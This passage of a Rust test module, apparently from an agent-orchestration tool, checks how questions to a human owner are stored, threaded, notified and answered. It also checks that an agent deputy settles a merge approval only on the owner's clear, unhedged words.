2681        let mut q = panelled();
2682        let e = s
2683            .put_panel(
2684                &mut q,
2685                "<p>x</p>",
2686                &[before.join("diff.png"), after.join("diff.png")],
2687            )
2688            .unwrap_err()
2689            .to_string();
2690        assert!(e.contains("diff.png"), "{e}");
2691        assert!(
2692            e.contains("before") && e.contains("after"),
2693            "both sources are named, because the fix is to rename one: {e}"
2694        );
2695        assert!(!q.panel);
2696        assert!(!s.panel_dir(&q.id).exists());
2697    }
2698
2699    #[test]
2700    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2701        let (dir, s) = store();
2702        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2703        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2704
2705        let mut q = panelled();
2706        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2707            .unwrap();
2708        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2709            .unwrap();
2710
2711        assert_eq!(q.assets, ["new.png"]);
2712        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2713        assert!(
2714            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2715            "an asset from the first attempt would show a mix of two answers"
2716        );
2717
2718        s.drop_panel(&q.id).unwrap();
2719        assert!(s.panel_html(&q.id).is_none());
2720        assert!(!s.panel_dir(&q.id).exists());
2721        s.drop_panel(&q.id)
2722            .expect("dropping a panel that is already gone is the desired state");
2723    }
2724
2725    #[test]
2726    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2727        let (_dir, s) = store();
2728        let mut q = panelled();
2729        s.put(&mut q).unwrap();
2730
2731        assert!(!q.panel);
2732        assert!(s.panel_html(&q.id).is_none());
2733        assert!(
2734            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2735            "a missing file is a 404 for the caller, not a failure of the store"
2736        );
2737        let json = serde_json::to_value(&q).unwrap();
2738        assert_eq!(json["panel"], false);
2739        assert_eq!(json["assets"], serde_json::json!([]));
2740
2741        // And an empty panel is refused, because an empty frame reads to the
2742        // owner as "the agent had nothing to say".
2743        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2744        assert!(e.contains("empty panel"), "{e}");
2745        assert!(!s.panel_dir(&q.id).exists());
2746    }
2747
2748    #[test]
2749    fn a_question_written_before_panels_existed_still_deserialises() {
2750        let (_dir, s) = store();
2751        std::fs::create_dir_all(s.root()).unwrap();
2752        let id = "20260902-231501-ab12";
2753        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2754        let body = r#"{
2755  "schema": 1,
2756  "id": "20260902-231501-ab12",
2757  "run": "20260902-201256-9fb7",
2758  "node": "implement",
2759  "seat": "impl-A",
2760  "summary": "Which storage backend should the cache use?",
2761  "detail": "Both are already dependencies.",
2762  "choices": ["SQLite", "Redis"],
2763  "status": "open",
2764  "asked_at": "2026-09-02T23:15:01Z",
2765  "answered_at": null,
2766  "answer": null
2767}"#;
2768        std::fs::write(s.path_of(id), body).unwrap();
2769
2770        let q = s.get(id).unwrap();
2771        assert!(
2772            !q.panel,
2773            "an absent field means no panel, not a parse error"
2774        );
2775        assert!(q.assets.is_empty());
2776        // Schema 1 predates `thread` entirely - not merely predates it having
2777        // any turns - and this build now speaks schema 3. Reading it must not
2778        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2779        // accepted and the missing field defaults to no conversation yet.
2780        assert_eq!(q.schema, 1);
2781        assert!(q.thread.is_empty());
2782        assert_eq!(
2783            q.answer_timeout, 0,
2784            "an absent field means unrecorded, not a zero-second deadline"
2785        );
2786        assert!(!q.waiting_on_agent());
2787        assert_eq!(q.summary, "Which storage backend should the cache use?");
2788        assert_eq!(
2789            s.list().len(),
2790            1,
2791            "and it is still listed; skipping it would hide an open question"
2792        );
2793    }
2794
2795    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2796        Turn {
2797            who,
2798            body: body.to_owned(),
2799            at,
2800        }
2801    }
2802
2803    #[test]
2804    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2805        // The phone reads this shape by hand, same as the question itself: a
2806        // rename here is a card that silently drops every message in it.
2807        let mut q = choice_question();
2808        q.thread
2809            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2810        let value = serde_json::to_value(&q.thread[0]).unwrap();
2811        let mut keys: Vec<&str> = value
2812            .as_object()
2813            .unwrap()
2814            .keys()
2815            .map(String::as_str)
2816            .collect();
2817        keys.sort_unstable();
2818        assert_eq!(keys, ["at", "body", "who"]);
2819        assert_eq!(value["who"], "operator");
2820        assert_eq!(value["body"], "why not Postgres?");
2821
2822        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2823        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2824        assert_eq!(parsed.who, Who::Agent);
2825    }
2826
2827    #[test]
2828    fn a_merge_approval_settles_only_on_a_clear_unhedged_merge() {
2829        let mut q = Question::new(
2830            "run".into(),
2831            crate::land::APPROVAL_NODE.into(),
2832            "land".into(),
2833            "Merge?".into(),
2834            String::new(),
2835            vec!["merge".into(), "hold".into()],
2836        );
2837        let mut dep = Deputy::new("brief".into());
2838        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2839        q.deputy = Some(dep);
2840        q.say("please don't merge yet").unwrap();
2841        assert!(q.settle_by_deputy("deputy-x", "merge", "merge").is_err());
2842        assert!(
2843            q.settle_by_deputy("deputy-x", "merge", "don't merge")
2844                .is_err()
2845        );
2846        assert!(
2847            q.settle_by_deputy("deputy-x", "hold", "don't merge")
2848                .is_err()
2849        );
2850        assert_eq!(q.status, QuestionStatus::Open);
2851        q.reply("do you mean hold?", vec!["merge".into(), "hold".into()])
2852            .unwrap();
2853        q.say(" Merge ").unwrap();
2854        assert!(
2855            q.settle_by_deputy("deputy-x", "merge", "erge").is_err(),
2856            "a fragment is not the word"
2857        );
2858        q.settle_by_deputy("deputy-x", "merge", "Merge").unwrap();
2859        assert_eq!(q.resolution().as_deref(), Some("merge"));
2860    }
2861
2862    #[test]
2863    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
2864        let mk = |choices: Vec<String>| {
2865            let mut q = Question::new(
2866                String::new(),
2867                crate::bump::NOTICE_NODE.into(),
2868                "release-watch".into(),
2869                "Release?".into(),
2870                String::new(),
2871                choices,
2872            );
2873            let mut dep = Deputy::new("brief".into());
2874            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2875            q.deputy = Some(dep);
2876            q
2877        };
2878        let mut approval = mk(vec!["merge".into(), "hold".into()]);
2879        assert!(crate::deputy::merge_gated(&approval));
2880        approval.say("たぶんマージでいい").unwrap();
2881        assert!(
2882            approval
2883                .settle_by_deputy("deputy-x", "merge", "たぶんマージでいい")
2884                .is_err(),
2885            "a hedge never merges"
2886        );
2887        approval.say("マージしていいよ").unwrap();
2888        approval
2889            .settle_by_deputy("deputy-x", "merge", "マージしていいよ")
2890            .unwrap();
2891
2892        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
2893        assert!(!crate::deputy::merge_gated(&esc));
2894        esc.say("もう監視はいらない").unwrap();
2895        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない")
2896            .unwrap();
2897        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
2898    }
2899
2900    #[test]
2901    fn a_clear_merge_among_other_requests_settles_but_a_hedge_does_not() {
2902        let mut q = Question::new(
2903            "run".into(),
2904            crate::land::APPROVAL_NODE.into(),
2905            "land".into(),
2906            "Merge?".into(),
2907            String::new(),
2908            vec!["merge".into(), "hold".into()],
2909        );
2910        let mut dep = Deputy::new("brief".into());
2911        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2912        q.deputy = Some(dep);
2913        q.say("たぶんマージでいい。残りの指摘はフォローアップに積んで")
2914            .unwrap();
2915        assert!(
2916            q.settle_by_deputy("deputy-x", "merge", "たぶんマージでいい")
2917                .is_err()
2918        );
2919        q.reply("merge?", vec!["merge".into(), "hold".into()])
2920            .unwrap();
2921        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
2922            .unwrap();
2923        assert!(
2924            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉")
2925                .is_err(),
2926            "the quote must be the owner's"
2927        );
2928        assert!(
2929            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ")
2930                .is_err(),
2931            "`hold` still needs the whole message"
2932        );
2933        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ")
2934            .unwrap();
2935        assert_eq!(q.resolution().as_deref(), Some("merge"));
2936    }
2937
2938    #[test]
2939    fn a_later_owner_message_supersedes_an_earlier_merge() {
2940        let mut q = Question::new(
2941            "run".into(),
2942            crate::land::APPROVAL_NODE.into(),
2943            "land".into(),
2944            "Merge?".into(),
2945            String::new(),
2946            vec!["merge".into(), "hold".into()],
2947        );
2948        let mut dep = Deputy::new("brief".into());
2949        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2950        q.deputy = Some(dep);
2951        q.say("merge").unwrap();
2952        q.reply("sure?", vec!["merge".into(), "hold".into()])
2953            .unwrap();
2954        q.say("wait, don't merge").unwrap();
2955        assert!(q.settle_by_deputy("deputy-x", "merge", "merge").is_err());
2956        assert_eq!(q.status, QuestionStatus::Open);
2957    }
2958
2959    #[test]
2960    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
2961        let mut q = Question::new(
2962            "task".to_owned(),
2963            "conduct".to_owned(),
2964            "conduct".to_owned(),
2965            "Done?".to_owned(),
2966            String::new(),
2967            vec!["yes".to_owned(), "no".to_owned()],
2968        );
2969        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
2970        seat.turns = 1;
2971        let mut dep = Deputy::new("brief".to_owned());
2972        dep.seat = Some(seat);
2973        q.deputy = Some(dep);
2974        q.say("setup done, go ahead").unwrap();
2975
2976        assert!(
2977            q.settle_by_deputy("someone-else", "yes", "setup done")
2978                .is_err()
2979        );
2980        assert!(
2981            q.settle_by_deputy("deputy-x", "maybe", "setup done")
2982                .is_err()
2983        );
2984        assert!(
2985            q.settle_by_deputy("deputy-x", "yes", "never said this")
2986                .is_err()
2987        );
2988        assert!(q.settle_by_deputy("deputy-x", "yes", "  ").is_err());
2989        assert_eq!(q.status, QuestionStatus::Open);
2990
2991        q.settle_by_deputy("deputy-x", "yes", "setup done").unwrap();
2992        assert_eq!(q.status, QuestionStatus::Answered);
2993        assert_eq!(q.resolution().as_deref(), Some("yes"));
2994        let last = q.thread.last().unwrap();
2995        assert_eq!(last.who, Who::Agent);
2996        assert!(
2997            last.body.contains("setup done"),
2998            "the quote stays on the record"
2999        );
3000    }
3001
3002    #[test]
3003    fn a_question_written_before_deputies_still_reads() {
3004        let mut q = Question::new(
3005            "task".to_owned(),
3006            "conduct".to_owned(),
3007            "conduct".to_owned(),
3008            "Done?".to_owned(),
3009            String::new(),
3010            Vec::new(),
3011        );
3012        q.schema = 4;
3013        let mut v = serde_json::to_value(&q).unwrap();
3014        v.as_object_mut().unwrap().remove("deputy");
3015        let back: Question = serde_json::from_value(v).unwrap();
3016        assert!(back.deputy.is_none());
3017    }
3018
3019    #[test]
3020    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3021        let mut q = choice_question();
3022        q.say("does the cache need eviction?").unwrap();
3023        assert_eq!(q.thread.len(), 1);
3024        assert_eq!(q.thread[0].who, Who::Operator);
3025        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3026        // Speaking is not deciding: the status and the answer are untouched,
3027        // which is the whole point of the round trip existing at all.
3028        assert_eq!(q.status, QuestionStatus::Open);
3029        assert!(q.answer.is_none());
3030        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3031    }
3032
3033    #[test]
3034    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3035        let mut answered = choice_question();
3036        answered
3037            .answer(Answer::Choice("SQLite".to_owned()))
3038            .unwrap();
3039        let a = answered.say("still there?").unwrap_err().to_string();
3040        assert!(a.contains("already answered"), "{a}");
3041        let b = answered
3042            .reply("still there?", vec![])
3043            .unwrap_err()
3044            .to_string();
3045        assert!(b.contains("already answered"), "{b}");
3046
3047        let mut abandoned = choice_question();
3048        abandoned.abandon("timed out");
3049        let c = abandoned.say("hello?").unwrap_err().to_string();
3050        assert!(c.contains("abandoned"), "{c}");
3051
3052        let mut open = choice_question();
3053        let d = open.say("   ").unwrap_err().to_string();
3054        assert!(d.contains("empty"), "{d}");
3055        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3056        assert!(e.contains("empty"), "{e}");
3057        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3058    }
3059
3060    #[test]
3061    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3062        let mut q = choice_question();
3063        q.say("SQLite or Redis, but what about disk space?")
3064            .unwrap();
3065        assert!(q.waiting_on_agent());
3066
3067        q.reply(
3068            "SQLite: it is one file, no server to run.",
3069            vec!["SQLite".to_owned()],
3070        )
3071        .unwrap();
3072
3073        assert_eq!(q.choices, ["SQLite"]);
3074        assert!(
3075            !q.waiting_on_agent(),
3076            "the agent spoke, so the owner is the one being waited on now"
3077        );
3078        assert_eq!(q.thread.len(), 2);
3079        assert_eq!(q.thread[1].who, Who::Agent);
3080
3081        // The new choice set is what a subsequent answer is checked against.
3082        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3083        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3084        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3085    }
3086
3087    #[test]
3088    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3089        let mut fresh = choice_question();
3090        assert!(
3091            fresh.should_notify(Timestamp::now()),
3092            "nobody has been notified yet, so the first ask always pages"
3093        );
3094
3095        fresh.say("why not Postgres?").unwrap();
3096        let just_said = fresh.thread[0].at;
3097        assert!(
3098            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3099            "still on the screen a minute later; no need to page again"
3100        );
3101        assert!(
3102            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3103            "exactly the window: `>` means this side stays quiet"
3104        );
3105        assert!(
3106            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3107            "past the window: they may have walked away"
3108        );
3109    }
3110
3111    #[test]
3112    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3113        let (_dir, s) = store();
3114        let mut q = choice_question();
3115        s.put(&mut q).unwrap();
3116        q.say("why not Postgres?").unwrap();
3117        s.put(&mut q).unwrap();
3118        q.reply("no server to run", vec!["SQLite".to_owned()])
3119            .unwrap();
3120        s.put(&mut q).unwrap();
3121
3122        assert_eq!(
3123            s.count_open(),
3124            1,
3125            "one question that talked twice is still one open question"
3126        );
3127        assert_eq!(s.open_for(&q.run).len(), 1);
3128    }
3129
3130    #[tokio::test]
3131    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3132        let (dir, s) = store();
3133        let mut q = choice_question();
3134        let id = q.id.clone();
3135        let writer = Questions::at(dir.path().join("questions"));
3136        let handle = tokio::spawn(async move {
3137            tokio::time::sleep(Duration::from_millis(30)).await;
3138            let mut fresh = writer.get(&id).expect("the question was filed first");
3139            fresh.say("why not Postgres?").unwrap();
3140            writer.put(&mut fresh).unwrap();
3141        });
3142
3143        let got = wait_for_owner(
3144            &mut q,
3145            &s,
3146            &quiet(),
3147            Duration::from_secs(5),
3148            Duration::from_millis(10),
3149        )
3150        .await
3151        .unwrap();
3152
3153        handle.await.unwrap();
3154        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3155        assert_eq!(
3156            q.status,
3157            QuestionStatus::Open,
3158            "talking back is not a decision; the question stays open"
3159        );
3160        assert!(q.answer.is_none());
3161    }
3162
3163    #[test]
3164    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3165        let mut q = choice_question();
3166        q.say("A").unwrap();
3167        q.delivered_turns = q.thread.len();
3168        q.say("B").unwrap();
3169        q.reply("about A", vec![]).unwrap();
3170        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3171        q.delivered_turns = q.thread.len();
3172        assert_eq!(q.unread_from_owner(), None);
3173    }
3174
3175    #[test]
3176    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3177        let (_d, s) = store();
3178        let mut q = choice_question();
3179        s.put(&mut q).unwrap();
3180        q.say("first").unwrap();
3181        q.say("second").unwrap();
3182        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3183        s.put(&mut q).unwrap();
3184        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3185        let mut out = Vec::new();
3186        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3187        let shown = String::from_utf8(out).unwrap();
3188        let (a, b, c) = (
3189            shown.find("first").unwrap(),
3190            shown.find("second").unwrap(),
3191            shown.find("SQLite").unwrap(),
3192        );
3193        assert!(a < b && b < c, "{shown}");
3194        assert_eq!(q.delivered_turns, q.thread.len());
3195        assert!(q.answer_delivered);
3196    }
3197
3198    #[test]
3199    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3200        let mut q = choice_question();
3201        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3202        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3203        let mut q = choice_question();
3204        q.say("old").unwrap();
3205        q.delivered_turns = q.thread.len();
3206        q.say("new").unwrap();
3207        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3208        let shown = answer_for_agent(&q, "SQLite");
3209        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3210    }
3211
3212    #[test]
3213    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3214        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3215        let ok = parse_actions(
3216            &[
3217                "resume で続行する=resume".to_owned(),
3218                "wait=done".to_owned(),
3219            ],
3220            &choices,
3221            "run-1",
3222        )
3223        .unwrap();
3224        assert_eq!(
3225            ok["resume で続行する"],
3226            ChoiceAction::Resume {
3227                run: "run-1".into()
3228            }
3229        );
3230        assert_eq!(ok["wait"], ChoiceAction::Done);
3231
3232        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3233        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3234        assert_eq!(
3235            ChoiceAction::parse("x=requeue", "").unwrap().1,
3236            ChoiceAction::Requeue
3237        );
3238
3239        for bad in [
3240            "no-equals",
3241            "=done",
3242            "x=resume",
3243            "x=resume:",
3244            "x=explode",
3245            "x=done:1",
3246        ] {
3247            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3248        }
3249        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3250        assert!(
3251            parse_actions(
3252                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3253                &choices,
3254                ""
3255            )
3256            .is_err()
3257        );
3258    }
3259
3260    #[test]
3261    fn only_a_chosen_label_with_an_action_is_actionable() {
3262        let mut q = choice_question();
3263        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3264        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3265        assert!(q.chosen_action().is_none(), "unanswered");
3266        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3267        assert!(
3268            q.chosen_action().is_none(),
3269            "a label that merely reads like an action does nothing"
3270        );
3271
3272        let mut q2 = choice_question();
3273        q2.choices = vec!["SQLite".to_owned()];
3274        q2.actions
3275            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3276        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3277        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3278    }
3279
3280    #[test]
3281    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3282        let mut q = choice_question();
3283        q.choices = vec!["A".to_owned(), "B".to_owned()];
3284        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3285        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3286        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3287        assert_eq!(q.actions.len(), 1);
3288        assert!(q.actions.contains_key("B"));
3289
3290        let mut v = serde_json::to_value(&q).unwrap();
3291        v.as_object_mut().unwrap().remove("actions");
3292        let old: Question = serde_json::from_value(v).unwrap();
3293        assert!(old.actions.is_empty());
3294    }
3295}